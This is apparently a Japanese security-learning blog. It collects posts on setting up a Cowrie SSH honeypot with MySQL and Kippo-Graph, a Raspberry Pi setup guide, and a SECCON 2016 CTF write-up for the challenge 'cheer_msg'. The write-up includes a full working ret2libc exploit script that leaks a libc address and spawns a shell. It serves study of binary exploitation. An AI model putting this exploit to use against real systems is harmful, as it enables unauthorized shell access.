1日ひとつだけ強くなる

おべんきょうのーと

ハニーポットCowrieのログをMySQLに突っ込んでKippo-Graphで可視化した話

はじめに

今回は前回に引き続き、ハニーポットCowrieの設定をこちらにメモしていきたいと思います。

hal0taso.hateblo.jp

なお、今回の記事作成時(2016年12月17日)においてはMySQLにCowrieのデータが入らないバグが報告されています。

output_mysql not sending data · Issue #309 · micheloosterhof/cowrie · GitHub

ここでは一時的な解決方法と、Cowrieのポートフォーワード設定(iptables)、Kippo-graphを用いたplaylogの可視化までを書いていきたいと思います。

ポートフォーワードの設定

Cowrieはsshハニーポットですが、ポート22で直接sshを待ち受けることは推奨されていません。よって、22番のポートに接続された場合にCowrieが待ち受けているポートにリダイレクトさせたいと思います。(管理用のsshポートも事前に別のポートで設定してください)

$ sudo iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-port 2222
$ sudo iptables -t nat -n -L

リダイレクトの設定が反映されていることを確認したら、再起動時にも設定が保持されるように以下のパッケージをインストールします。CowrieではIPv6は使用しないので、IPv6の設定に聞かれた時はnoでも大丈夫です。

$ sudo apt-get install iptables-persistent
$ sudo systemctl enable netfilter-persistent

MySQLの設定

MySQLインストー

よしなに。インストールの際にrootユーザーのパスワードを設定する必要があるので設定しましょう。

$ sudo apt-get update
$ sudo apt-get install mysql-server libmysqlclient-dev
$ pip install mysql-python 

pipはcowrieのvietualenv内でインストールしましょう

MySQLの設定

僕はこちらを参考に設定させてもらいました。

Kippo-GraphをインストールしてCowrieのログを可視化する

こんな感じです。

$ sudo vi /etc/mysql/my.cnf
[mysqld]
character-set-server=utf8
collation-server=utf8_general_ci
skip-character-set-client-handshake
default-storage-engine=InnoDB
innodb_file_per_table
innodb_buffer_pool_size=256M
skip-name-resolve

[mysqldump]
default-character-set=utf8

[mysql]
default-character-set=utf8

なお、僕の環境では上記の設定は各セクションの最後に追記しないとMySQLを起動できませんでした。

$ sudo systemctl restart mysql

ログの出力先の設定

次に、cowrieのログの出力先をMySQLに設定していきます。 mysqlを起動します。

$ mysql -u root -p

mysql> CREATE DATABASE cowrie;
mysql> GRANT ALL ON cowrie.* TO cowrie@localhost IDENTIFIED BY 'your_password';  # パスワードは自分のものを使用
mysql> exit

# cowrieのインストール先ディレクトリに移動
$ cd /home/cowrie/cowrie/

$ mysql -u cowrie -p
mysql> USE cowrie;
mysql> source ./doc/sql/mysql.sql
mysql> exit

次に、cowrie.cfgを設定していきます。

$ cd /home/cowrie/cowrie/
$ nano cowrie.cfg

# コメントアウトします。
#[iutput_jsonloi]
#logfile = log/cowrie.json

# コメントアウトを外します
[output_mysql]
host = localhost
database = cowrie
username = cowrie
password = your_password # 先ほど設定したパスワードを使用
port = 3306
#debug = false # trueにすると、/home/cowrie/cowrie/log/coerie.log にmysqlとの接続時のデバッグメッセージが表示されます。

多分この時点ではまだMySQLにログが入ってないと思います。ローカルネットからアクセスして確かめてみてください。

ブランチを変更する(2016年12月17日現在)

本記事の序盤でも述べたように、CowrrieのログをMySQLに出力するようにしてもデータベースにログが出力されないというバグが報告されています(issue#321,issue#309あたりで一連の議論がなされています。)

これを回避するために、現時点ではbranchを以前のものに切り替えることでMySQLにデータが出力されます。

$ cd /home/cowrie/cowrie/
$ git checkout 45022b7

最後にcowrieを再起動してMySQLにデータが入ってることを確かめます。

$ ./stop.sh
$ ./start.sh

Apache2のインストー

$ sudo apt-get install apache2

apache2のセキュリティ設定、文字コード設定、SeverName設定を行います。

$ sudo nano /etc/apache2/conf-available/security.conf
ServerTokens Prod
ServerSignature Off

$ sudo vi /etc/apache2/conf-available/charset.conf
#AddDefaultCharset UTF-8

$ sudo sh -c "echo ServerName ${HOSTNAME} > /etc/apache2/conf-available/fqdn.conf"
$ sudo a2enconf fqdn

Apache2を再起動します。

$ sudo apachectl configtest
$ sudo systemctl restart apache2

Kippo-Graphのインストー

README.mdみて。 ちなみに記事執筆時の最新バージョンは1.5です。

https://bruteforce.gr/kippo-graph

と思ったけど僕は(こちら)http://www.shinayoshi.net/post/2016/08/16/install-kippo-graph/参考にインストールしてました。

$ wget http://bruteforce.gr/wp-content/uploads/kippo-graph-1.5.1.tar.gz
$ sudo tar zxvf kippo-graph-1.5.1.tar.gz -C /usr/share
$ sudo vi /etc/apache2/conf-available/kippo-graph.conf
<IfModule mod_alias.c>
    Alias /kippo-graph /usr/share/kippo-graph-1.5.1
</IfModule>
$ sudo a2enconf kippo-graph
$ sudo apachectl configtest
$ sudo systemctl restart apache2

Kippo-Graphの設定をします。

$ sudo chmod 777 /usr/share/kippo-graph-1.5.1/generated-graphs/
$ sudo cp -p /usr/share/kippo-graph-1.5.1/config.php.dist /usr/share/kippo-graph-1.5.1/config.php
$ sudo vi /usr/share/kippo-graph-1.5.1/config.php
define('DB_HOST', 'localhost');
define('DB_USER', 'cowrie');
define('DB_PASS', 'your_password');
define('DB_NAME', 'cowrie');
define('DB_PORT', '3306');

Kippo-Graphの修正

もともとKippo-GraphはKippoのためのものなので、Cowrieだと動かない部分もあるっぽい。実際にPlaylogが動かないのでその解決法をこちらに載せておきます。 (ただし、色々いじくりまわした結果なので、自己責任でお願いします)

(こちらから引用させていただいてます。)http://www.shinayoshi.net/post/2016/08/16/install-kippo-graph/ class/KippoPlayLog.class.phpの修正

$ cd /usr/share/kippo-graph-1.5.1
$ sudo cp -p class/KippoPlayLog.class.php class/KippoPlayLog.class.php.org
$ sudo nano class/KippoPlayLog.class.php
$ diff class/KippoPlayLog.class.php.org class/KippoPlayLog.class.php
21c21
<             SELECT ttylog.session, timestamp, ROUND(LENGTH(ttylog)/1024, 2) AS size
---
>             SELECT ttylog.session, timestamp, ROUND(size/1024, 2) AS size

include/play.phpの修正

$ cd /usr/share/kippo-graph-1.5.1
$ sudo cp -p include/play.php include/play.php.org
$ sudo nano include/play.php
$ diff play.php.org play.php
70c70
<                 $log = base64_encode($row['ttylog']);
---
>                 $log = base64_encode(file_get_contents($row['ttylog']));

ttylogへのシンボリックリンク作成

$ cd /usr/share/kippo-graph-1.5.1/include
$ sudo ln -s ${COWRIE_INSTALL_DIR}/log/ log
$ sudo chgrp www-data /home/cowrie/cowrie/log/tty/
$ sudo chmod g+s /home/cowrie/cowrie/log/tty/

Cowrie起動スクリプトの修正

$ sudo su - cowrie
$ cd ${COWRIE_INSTALL_DIR}/
$ cp -p start.sh start.sh.org
$ vi start.sh
$ diff start.sh.org start.sh
31c31
<     twistd $XARGS -l log/cowrie.log --umask 0077 --pidfile cowrie.pid cowrie
---
>     twistd $XARGS -l log/cowrie.log --umask 0027 --pidfile cowrie.pid cowrie
33c33
<     authbind --deep twistd $XARGS -l log/cowrie.log --umask 0077 --pidfile cowrie.pid cowrie
---
>     authbind --deep twistd $XARGS -l log/cowrie.log --umask 0027 --pidfile cowrie.pid cowrie

Cowrieの再起動

$ ./stop.sh
$ ./start.sh

apacheのエラーログを見てみる

/var/log/apache2/error.logを見てるとこんなのが出てた。

どうやら、書き込み先のファイルに書き込み権限がないみたいだが、ファイル名からするにtorの出口ノードのリスト?っぽい(詳しくないので本当にそうか分かってないが)

[Sat Dec 17 07:11:33.646658 2016] [:error] [pid 2732] [client 192.168.0.10:56649] PHP Warning:  file_put_contents(/usr/share/kippo-graph-1.5.1/include/tor/tor_exit_node_list.txt): failed to open stream: Permission denied in /usr/share/kippo-graph-1.5.1/include/tor/tor.class.php on line 11, referer: http://192.168.0.202/kippo-graph/include/play.php?f=4e4556a6

中身を見てみるとIPアドレスが列挙されてるだけだったため大丈夫だろうと思い、パーミッションを変更してやるとWarningは出なくなった。

$ sudo chgrp www-data /usr/share/kippo-graph-1.5.1/include/tor/tor_exit_node_list.txt
$ sudo chmod g+w /usr/share/kippo-graph-1.5.1/include/tor/tor_exit_node_list.txt

これでKippo-Graphも見れるはず。

感想

実はこの記事を書いたり設定がうまくいかなくて苦しんでいる間にも、sshでのアクセス試行が繰り返されていた。ログ出力周りまだ準備できてないのに待ってくれよ!とは思ったものの、攻撃者は待ってはくれないのである。この記事を書いてる間にも、十数分に1回くらいの頻度でアクセスを受けている。

思ったよりも攻撃者はすぐそばにいるし、パスワードの複雑化、公開鍵認証を使うなどはめんどくさいように思っていても(実際、僕も運用するまで日に数回くらいでしょwwwとか思ってた)大切であることを感じた。

年明けに運用結果の中間報告をしてみたいと思う。

(※そういえば、KIPPO-IPのページでSuccessの値がN/Aになってるのってなんでなんすかね…??途中で接続切れてるとか?もしわかる方いれば教えてほしいです。こちらでも調べておきます。)

www.youtube.com

SECCON 2016 Online 復習:cheer_msg

はじめに

12/10 15:00-12/11 15:00の24時間、SECCON 2016のオンライン予選が開催されました。僕はチームg0tiu5aで参戦したのですが、点数を入れられず…..もっと精進して解けるようになりたいと思います。

チームとしては400点獲得しました。

僕は10日はバイトだったのですが、帰宅に失敗し24時を過ぎたくらいから挑戦しました。

pwn, revを勉強していたので、100点の問題くらいは解きたいなぁと考えていたんですが、まだまだ実力不足でした。

今回はpwn100 cheer_msgがようやく解けたので書いていきます。

解いた問題は学習のために続々Upしていきたい所存です。

cheer_msg

友利奈緒に応援メッセージを送るプログラムを渡されます。

$ file cheer_msg
cheer_msg: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=ed63cb3a04480eeb344d7d567c893805a1119f2f, not stripped

$ checksec cheer_msg
[*] '/home/ubuntu/writeup/seccon2016/cheer_msg/cheer_msg'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE

コンテスト中に、Message Lengthに負数を渡すとなんか挙動がおかしくなるなぁって気づいてたんですが、実力不足でそこから進めませんでした。

080485ca <main>:
 80485ca:   8d 4c 24 04             lea    ecx,[esp+0x4]
 80485ce:   83 e4 f0                and    esp,0xfffffff0
 80485d1:   ff 71 fc                push   DWORD PTR [ecx-0x4]
 80485d4:   55                      push   ebp
 80485d5:   89 e5                   mov    ebp,esp
 80485d7:   51                      push   ecx
 80485d8:   83 ec 24                sub    esp,0x24
 80485db:   c7 04 24 e0 87 04 08    mov    DWORD PTR [esp],0x80487e0
 80485e2:   e8 49 fe ff ff          call   8048430 <printf@plt>
 80485e7:   e8 21 01 00 00          call   804870d <getint>
 80485ec:   89 45 f0                mov    DWORD PTR [ebp-0x10],eax
 80485ef:   8b 45 f0                mov    eax,DWORD PTR [ebp-0x10]
 80485f2:   8d 50 0f                lea    edx,[eax+0xf]
 80485f5:   b8 10 00 00 00          mov    eax,0x10
 80485fa:   83 e8 01                sub    eax,0x1
 80485fd:   01 d0                   add    eax,edx
 80485ff:   b9 10 00 00 00          mov    ecx,0x10
 8048604:   ba 00 00 00 00          mov    edx,0x0
 8048609:   f7 f1                   div    ecx
 804860b:   6b c0 10                imul   eax,eax,0x10
 804860e:   29 c4                   sub    esp,eax
 8048610:   8d 44 24 08             lea    eax,[esp+0x8]
 8048614:   83 c0 0f                add    eax,0xf
 8048617:   c1 e8 04                shr    eax,0x4
 804861a:   c1 e0 04                shl    eax,0x4
 804861d:   89 45 f4                mov    DWORD PTR [ebp-0xc],eax
 8048620:   8b 45 f0                mov    eax,DWORD PTR [ebp-0x10]
 8048623:   89 44 24 04             mov    DWORD PTR [esp+0x4],eax
 8048627:   8b 45 f4                mov    eax,DWORD PTR [ebp-0xc]
 804862a:   89 04 24                mov    DWORD PTR [esp],eax
 804862d:   e8 0a 00 00 00          call   804863c <message>
 8048632:   c9                      leave  
 8048633:   c3                      ret

getintで正数を与えるとその分だけespを減算してメッセージのbufferの領域を確保してくれますが、負数を入れるとそのまま負数を減算します。つまり、espを高位アドレスに移すことができます。

gdb-peda$ 
-150
[------------------------------------------registers------------------------------------------]
EAX: 0x4 
EBX: 0xf7fb3000 --> 0x1aada8 
ECX: 0xc (b'\x0c')
EDX: 0x4 
ESI: 0x0 
EDI: 0x0 
EBP: 0xffffd0d8 --> 0xffffd118 --> 0x0 
ESP: 0xffffd070 --> 0xffffd08c ("-150")
EIP: 0x8048690 (<message+84>:   mov    eax,DWORD PTR [ebp-0x5c])
[--------------------------------------------code---------------------------------------------]
   0x8048685 <message+73>:   lea    eax,[ebp-0x4c]
   0x8048688 <message+76>:   mov    DWORD PTR [esp],eax
   0x804868b <message+79>:   call   0x80486bd <getnline>
=> 0x8048690 <message+84>:   mov    eax,DWORD PTR [ebp-0x5c]
   0x8048693 <message+87>:   mov    DWORD PTR [esp+0x8],eax
   0x8048697 <message+91>:   lea    eax,[ebp-0x4c]
   0x804869a <message+94>:   mov    DWORD PTR [esp+0x4],eax
   0x804869e <message+98>:   mov    DWORD PTR [esp],0x804887d
[--------------------------------------------stack--------------------------------------------]

Message Length = -150NAME = (pattoc 100)とかでやってみると、オフセット0でEIPを奪えた。

[------------------------------------------registers------------------------------------------]
EAX: 0x0 
EBX: 0xf7fb3000 --> 0x1aada8 
ECX: 0x57 (b'W')
EDX: 0xf7fb4898 --> 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0x0 
ESP: 0xffffd120 ("AAsAABAA$AAnAAC"...)
EIP: 0x25414141 (b'AAA%')
[--------------------------------------------code---------------------------------------------]
Invalid $PC address: 0x25414141
[--------------------------------------------stack--------------------------------------------]
00:0000| esp 0xffffd120 ("AAsAABAA$AAnAAC"...)
01:0004|     0xffffd124 ("ABAA$AAnAACAA-A"...)
02:0008|     0xffffd128 ("$AAnAACAA-AA(AA"...)
03:0012|     0xffffd12c ("AACAA-AA(AADAA;"...)
04:0016|     0xffffd130 ("A-AA(AADAA;AA)A"...)
05:0020|     0xffffd134 ("(AADAA;AA)AAEAA"...)
06:0024|     0xffffd138 ("AA;AA)AAEAAaAA0"...)
07:0028|     0xffffd13c ("A)AAEAAaAA0AAFA"...)
[---------------------------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value
Stopped reason: SIGSEGV
0x25414141 in ?? ()
gdb-peda$ patto AAA%
AAA% found at offset: 0

EIPは奪えたが、フラッグを読んでる関数は存在しないっぽいしバイナリ中にシェルを起動する関数もないっぽい。 libcのsystem関数を呼び出すret2libcすれば良い。

そのためにはlibcのbase addressをsetbuf関数のアドレスをprintfすることでleakしてやれば良い。

1回目のStackは以下のようにつむ。

--------------------------------------------------
printf@plt
--------------------------------------------------
main
--------------------------------------------------
"\nThank you %s!\nMessage : %s\n"のアドレス
--------------------------------------------------
setbuf@pltのGOTアドレス
--------------------------------------------------

それぞれのオフセットを調べておく。

$ nm -D libc-2.19.so | grep setbuf
0006de50 T _IO_file_setbuf
001278a0 T _IO_file_setbuf
00065d80 T _IO_setbuffer
00067b20 T setbuf

$ nm -D libc-2.19.so | grep system
00040310 T __libc_system
001193c0 T svcerr_systemerr
00040310 W system

$ strings -a -tx libc-2.19.so | grep sh$
   e45b inet6_opt_finish
   f397 _IO_wdefault_finish
   f97b _IO_fflush
  117fe _IO_file_finish
  11cf9 bdflush
  1214b tcflush
  123fd _IO_default_finish
 15df25 Trailing backslash
 15e3f8 sys/net/ash
 16084c /bin/sh

setbufのlib base addressとのオフセットは0x67b20であることがわかるので、systemと引数の/bin/shのアドレスが求まる。

setbufのアドレスも調べておく。

$ readelf -r cheer_msg | grep .plt -A20
Relocation section '.rel.plt' at offset 0x3a0 contains 9 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
0804a00c  00000107 R_386_JUMP_SLOT   00000000   setbuf
0804a010  00000207 R_386_JUMP_SLOT   00000000   printf
0804a014  00000307 R_386_JUMP_SLOT   00000000   fgets
0804a018  00000407 R_386_JUMP_SLOT   00000000   __stack_chk_fail
0804a01c  00000507 R_386_JUMP_SLOT   00000000   __gmon_start__
0804a020  00000607 R_386_JUMP_SLOT   00000000   strchr
0804a024  00000707 R_386_JUMP_SLOT   00000000   strlen
0804a028  00000807 R_386_JUMP_SLOT   00000000   __libc_start_main
0804a02c  00000907 R_386_JUMP_SLOT   00000000   atoi

2度目のStackは以下のようになる。

-------------------------------
system
-------------------------------
'AAAA'(適当)
-------------------------------
`/bin/sh`のアドレス
-------------------------------

最終的なコードは以下のようになりました。

from pwn import *
import sys

r = remote("localhost", 4444)

"""
# libc offset
00067b20 T setbuf
00040310 W system
 16084c /bin/sh
"""

offset_setbuf = 0x67b20
offset_system = 0x40310
offset_binsh = 0x16084c

main        = 0x080485ca
printf_plt  = 0x08048430
str_addr    = 0x0804887d
setbuf_addr = 0x0804a00c

r.recvuntil('Message Length >> ')
r.sendline('-150')

"""
# stack
- printf
- main
- '\nThank...
- setbuf
"""

rop = ''.join([
    p32(printf_plt),
    p32(main),
    p32(str_addr),
    p32(setbuf_addr),
    ])

r.recvuntil('Name >> ')
r.sendline(rop)

#print r.recv()
#print r.recv()

r.recvuntil('Message : \n\n')

addr = r.recvline()[:-2] # remove '\n!' from  'Thank you %s\n!'
leaked_setbuf = u32(addr[10:14]) # len('Thank you ') -> 10

libc_base_addr = leaked_setbuf - offset_setbuf
system_addr = libc_base_addr + offset_system
binsh_addr = libc_base_addr + offset_binsh

print "[*] address leaked."
print "leaked_setbuf = {0}".format(hex(leaked_setbuf))
print "libc_base_addr = {0}".format(hex(libc_base_addr))
print "system_addr = {0}".format(hex(system_addr))
print "binsh_addr = {0}".format(hex(binsh_addr))

"""
stack:
- system
- 'AAAA'
- '/bin/sh'
"""

rop = ''.join([
    p32(system_addr),
    'AAAA',
    p32(binsh_addr),
    ])

r.recvuntil('Message Length >> ')
r.sendline('-150')
r.recvuntil('Name >> ')
r.sendline(rop)

r.interactive()
$ python exploit.py 
[+] Opening connection to localhost on port 4444: Done
[*] address leaked.
leaked_setbuf = 0xf7e6fb20
libc_base_addr = 0xf7e08000
system_addr = 0xf7e48310
binsh_addr = 0xf7f6884c
[*] Switching to interactive mode

Thank you \x10\x83ä÷AAAAL\x88ö÷!
Message : 
$ ls 
cheer_msg
exploit.py
input.txt
libc-2.19.so
peda-session-cheer_msg.txt
$  

感想

正直まだまだ理解できてないことが多いな、ってのを当日取り組みながら&復習しながら感じました。まだまだアセンブリニーモニックすら読めてないし、ROPも実践するの初めてだし。(本の演習とかはするけど、問題解く感覚とは違う気がする)いろんな演算してる処理見てると後回しにしちゃう癖があるので、アセンブリ読みつつ、gdbで実行してみて実際の値がどうなってるか、てのを地道に見ていくのが必要だなぁと感じました。

あとは、実際に当日解いてた時は負数を-100とかにして入力いじってみても正常に終了してたり、例えばEIPにでてる表記をpattoで調べてもパターン検出しなかったり、やり直したら出てきました。(汗)入力のパターン数をもっと増やしてみるのが必要ですね。pwnlibとかもあんまうまく使えてなかったけど、これ書きながらなんとなく基本的な(?)使い方は理解したのでガンガン使っていきたいです。

解けなかったのはとても悔しいけど、知識が実践で定着していく、って感覚はとても楽しいし次は得点してやるぞ!って気持ちです。 自分の手数を増やしていきたいので復習終わったらbataさんのpwnリスト埋めと復習を続けていきます。

参考

SECCON 2016 Online Exploit作問 1/2 (cheer_msg, checker, shopping) - ShiftCrops つれづれなる備忘録

SECCON 2016 Online CTF 供養(Writeup) - ももいろテクノロジー

SECCON 2016 Online writeup - yuta1024's diary

cheer msg - HackMD

Ubuntu16.04でRaspberry piを焼く

オープニング

今日の3分クッキングは〜〜〜♪♪

Raspberry piで使用するSDカードをフォーマットして、ディスクイメージを書き込むところから、初期設定までメモしておきたいと思います。

インストール

www.raspberrypi.org

SDカードのデバイス名を調べる

まずは何も挿していない状態とSDカードを指した状態でそれぞれdf -hコマンド

$ df -h
/dev/mmcblk0p1   63M   21M   43M  34% /media/[自分のデバイス名]/boot
/dev/mmcblk0p2   15G  1.2G   13G   9% /media/[自分のデバイス名]/0aed834e-8c8f-412d-a276-a265dc676112

コマンドの差分を確認してマウントされたSDカードのデバイス名を調べます。これは/dev/sdbやらあるそうですが、僕のは/dev/mmcblk0p\*/でした。

アンマウント

書き込みの前にそれぞれアンマウントしておきましょう。

$ umount /dev/mmcblk0p1
$ umount /dev/mmcblk0p2

書き込み

パーティーションの番号を指定せずにddコマンドで書き込みを行います。少し時間がかかるのでコーヒーでも入れて待ちましょう。 僕はおしゃれにジントニックを作ってる間にできました。

$ sudo dd bs=4M if=2016-11-25-raspbian-jessie-lite.img of=/dev/mmcblk0

SDカードをアンマウント

syncコマンドでキャッシュを同期させてからSDカードを抜きましょう。

$ sync

初期設定

さて、Raspberry piの準備ができたところで初期設定を行いましょう。

初期設定では以下のことを行いたいと思います。 - SDカードの使用可能容量の拡張 - パッケージアップデート - piユーザー名とパスワードの変更 - host名の変更 - タイムゾーンの変更 - キーボード配列の変更 - IPアドレスの固定化 - 公開鍵認証でのssh設定 - ntpの設定

パッケージのアップデート

$ sudo apt-get update
$ sudo apt-get upgrade

piユーザーとパスワードの変更

こちらを参考にしました。

ユーザー名を変更するには、一度ログアウトして他のユーザーから操作する必要があります。

sudo useradd -M tmp # ホームディレクトリを作成せずに仮のユーザーを作成する
sudo gpasswd -a tmp sudo # tmpユーザをsudoグループに追加
sudo passwd tmp tmpユーザのパスワードを設定
exit

次に作成したtmpユーザーでログインし、piユーザーの設定を変更していきます。([YOUR USERNAME]には自分のユーザー名を入力します。)

sudo usermod -l admin pi # [YOUR USERNAME] ユーザ名をpiから変更
sudo usermod -d /home/[YOUR USERNAME] -m [YOUR USERNAME] # ホームディレクトリを/home/piから変更
sudo groupmod -n [YOUR USERNAME] pi # piグループを変更
exit

tmpユーザーを削除しましょう。

sudo userdel tmp # tmpユーザー削除
sudo passwd [YOUR USERNAME] # パスワードの変更

rootのパスワードも設定します。

sudo passwd root # rootのパスワードを変更
sudo visudo # パスワードなしでログインできないように"pi ALL=(ALL) NOPASSWD: ALL"を消す

jyn.jp

host名の変更、タイムゾーンの変更、キーボード配列の変更、wi-fiの国設定、SDカードの使用可能容量の拡張

$ sudo raspi-config
>    1.Expand filesystem --> SDカードの使用可能容量を拡張
>    7.Advanced Options
>      A2 Hostname --> hostname設定
>    4.Internationalisation Option 
>      I1 Change Locale - en_GB.UTF-8 UTF-8のチェックを外し、ja_JP.UTF-8 UTF-8を選択 --> 日本語表記
>      I2 Change timezone - Asia - Tokyo --> Timezoneの設定
>      I3 Change Keyboard Layout - Intel Generic 105 --> 日本語キーボードに設定
>      I4 Change Wi-fi Country - JP Japan --> Wi-fiの国設定

ここまで出来たらFinishを選択し、再起動します。

IPアドレスの固定化

以前までは/etc/network/interfacesを編集していましたが、Jessieからは/etc/dhcpdc.confに設定を記述します。

interface eth0
static ip_address=192.168.0.202/24
static routers=192.168.0.1
static domain_name_servers=192.168.0.1

公開鍵認証方式の設定

$ ssh-keygen -t rsa
# 適当にエンターキー押しておけばいいよ(めんどくさくなった)
$ cd ~/.ssh/
$ cat id_rsa.pub >> authorized_keys
$ chmod 600 authorized_keys

公開鍵をローカルにコピーします。

$ scp pi@192.168.0.202:~/.ssh/id_rsa ~/.ssh/

公開鍵使ってsshログインできたらおっけ〜

$ ssh -i ~/.ssh/id_rsa pi@192.168.0.202

.ssh/configファイルとかに設定記述しておくと、ssh [hogehoge]だけでログインできるので楽です。

$ cat .ssh/config 
Host hogehoge
  HostName 192.168.0.202
  Port 22
  User hugahuga
  IdentityFile ~/.ssh/raspberry-pi

はい、完成!(適当)

Raspbery piにcowrieを入れる際にハマったこと

はじめに

ラズベリーパイハニーポットであるCowrieを導入する際にハマったメモ。

深夜に勢いで書いてるのでとても読みにくい文章ですまない。

ハニーポット

ジャンクさんの記事を参考にしてください。

junk-coken.hatenablog.com

junk-coken.hatenablog.com

kippoよりcowrieの方がオススメなのにはこんな理由もあるっぽい

atani.github.io

Cowrieのセットアップ

以下のリンクを参考にしました。というか、README.mdを参考にした。

cowrie.cgfはhostnameとsensor_nameだけ変更した。

shinayoshi's note

途中、start.shを実行するとImportError: No module named configparserとか言われたので、

$ sudo apt-get python-configparser

後からのエラー対処でもそうなのだが、pipからインストールしても認識されてない???pathは通してたはずなんだけど。これは未確認だが、最終的にすべてaptからインストールできてちゃんと動作した。

後から調べたら

ecoha0630.hatenablog.com

このブログでtwistedのバージョンについて書いてあった。15.3でエラーを吐いて15.2にしているので、新しくなったmoduleにまだ追いついてないのだろうか。僕の環境では確かめていなかった。後で調べたので使用したmoduleのバージョンを記事の最後に載せておく。

とりあえずは、cowrieが起動できた。

Password入力してから動かない

cowrieのセットアップ終わって、起動できたし接続してみるぞ!と手元のmacsshして繋いでみた。

まず、Password入力のプロンプト出るまでに何秒かかるんだ....って感じで、Password入力後は反応がなく、フリーズしてしまった。

そこで、ssh接続のログを確認してみようと思い、/home/cowrie/cowrie/log/cowrie.logを見てみた。

以下問題のlog

2016-12-13 03:31:07+0900 [cowrie.ssh.factory.CowrieSSHFactory] New connection: 192.168.0.10:63868 (192.168.0.202:2222) [session: 6c03cb63]
2016-12-13 03:31:07+0900 [HoneyPotSSHTransport,1,192.168.0.10] Remote SSH version: SSH-2.0-OpenSSH_6.9
2016-12-13 03:31:07+0900 [HoneyPotSSHTransport,1,192.168.0.10] kex alg, key alg: diffie-hellman-group-exchange-sha1 ssh-rsa
2016-12-13 03:31:07+0900 [HoneyPotSSHTransport,1,192.168.0.10] outgoing: aes128-ctr hmac-sha1 none
2016-12-13 03:31:07+0900 [HoneyPotSSHTransport,1,192.168.0.10] incoming: aes128-ctr hmac-sha1 none
2016-12-13 03:32:21+0900 [HoneyPotSSHTransport,1,192.168.0.10] NEW KEYS
2016-12-13 03:32:21+0900 [HoneyPotSSHTransport,1,192.168.0.10] starting service ssh-userauth
2016-12-13 03:32:21+0900 [SSHService ssh-userauth on HoneyPotSSHTransport,1,192.168.0.10] root trying auth none
2016-12-13 03:32:21+0900 [SSHService ssh-userauth on HoneyPotSSHTransport,1,192.168.0.10] root trying auth publickey
2016-12-13 03:32:21+0900 [SSHService ssh-userauth on HoneyPotSSHTransport,1,192.168.0.10] public key attempt for user root with fingerprint 1b:5a:
fc:b3:3c:a7:46:3c:99:01:10:0a:fb:19:6e:ef
2016-12-13 03:32:21+0900 [SSHService ssh-userauth on HoneyPotSSHTransport,1,192.168.0.10] root failed auth publickey
2016-12-13 03:32:21+0900 [SSHService ssh-userauth on HoneyPotSSHTransport,1,192.168.0.10] reason: ('Incorrect signature', None)
2016-12-13 03:32:21+0900 [SSHService ssh-userauth on HoneyPotSSHTransport,1,192.168.0.10] root trying auth keyboard-interactive
2016-12-13 03:32:25+0900 [SSHService ssh-userauth on HoneyPotSSHTransport,1,192.168.0.10] login attempt [root/admin] succeeded
2016-12-13 03:32:29+0900 [SSHService ssh-userauth on HoneyPotSSHTransport,1,192.168.0.10] root authenticated with keyboard-interactive
2016-12-13 03:32:29+0900 [SSHService ssh-userauth on HoneyPotSSHTransport,1,192.168.0.10] starting service ssh-connection
2016-12-13 03:32:29+0900 [SSHService ssh-connection on HoneyPotSSHTransport,1,192.168.0.10] got channel session request
2016-12-13 03:32:29+0900 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotSSHTransport,1,192.168.0.10] channel open
2016-12-13 03:32:29+0900 [SSHService ssh-connection on HoneyPotSSHTransport,1,192.168.0.10] got global no-more-sessions@openssh.com request
2016-12-13 03:32:29+0900 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotSSHTransport,1,192.168.0.10] pty request: xterm-256color (24, 80, 480, 312)
2016-12-13 03:32:29+0900 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotSSHTransport,1,192.168.0.10] Terminal Size: 24 80
2016-12-13 03:32:29+0900 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotSSHTransport,1,192.168.0.10] request_env: LANG=ja_JP.UTF-8
2016-12-13 03:32:29+0900 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotSSHTransport,1,192.168.0.10] getting shell
2016-12-13 03:32:29+0900 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotSSHTransport,1,192.168.0.10] Opening TTY Log: log/tty/20161213-033229-6c03cb63-0i.log
2016-12-13 03:32:30+0900 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotSSHTransport,1,192.168.0.10] Unhandled Error
        Traceback (most recent call last):
          File "/usr/lib/python2.7/dist-packages/twisted/python/log.py", line 73, in callWithContext
            return context.call({ILogContext: newCtx}, func, *args, **kw)
          File "/usr/lib/python2.7/dist-packages/twisted/python/context.py", line 118, in callWithContext
            return self.currentContext().callWithContext(ctx, func, *args, **kw)
          File "/usr/lib/python2.7/dist-packages/twisted/python/context.py", line 81, in callWithContext
            return func(*args,**kw)
          File "/usr/lib/python2.7/dist-packages/twisted/conch/ssh/channel.py", line 137, in requestReceived
            return f(data)
        --- <exception caught here> ---
          File "/usr/lib/python2.7/dist-packages/twisted/conch/ssh/session.py", line 53, in request_shell
            self.session.openShell(pp)
          File "/home/cowrie/cowrie/cowrie/ssh/session.py", line 125, in openShell
            self.protocol.makeConnection(processprotocol)
          File "/usr/lib/python2.7/dist-packages/twisted/internet/protocol.py", line 481, in makeConnection
            self.connectionMade()
          File "/home/cowrie/cowrie/cowrie/insults/insults.py", line 77, in connectionMade
            insults.ServerProtocol.connectionMade(self)
          File "/usr/lib/python2.7/dist-packages/twisted/conch/insults/insults.py", line 414, in connectionMade
            self.terminalProtocol = self.protocolFactory(*self.protocolArgs, **self.protocolKwArgs)
          File "/home/cowrie/cowrie/cowrie/core/protocol.py", line 236, in __init__
            HoneyPotBaseProtocol.__init__(self, avatar)
          File "/home/cowrie/cowrie/cowrie/core/protocol.py", line 51, in __init__
            globals(), locals(), ['commands'])
          File "/home/cowrie/cowrie/cowrie/commands/tftp.py", line 5, in <module>
            import tftpy
        exceptions.ImportError: No module named tftpy
        
2016-12-13 03:36:48+0900 [HoneyPotSSHTransport,1,192.168.0.10] Got remote error, code 11
        reason: disconnected by user
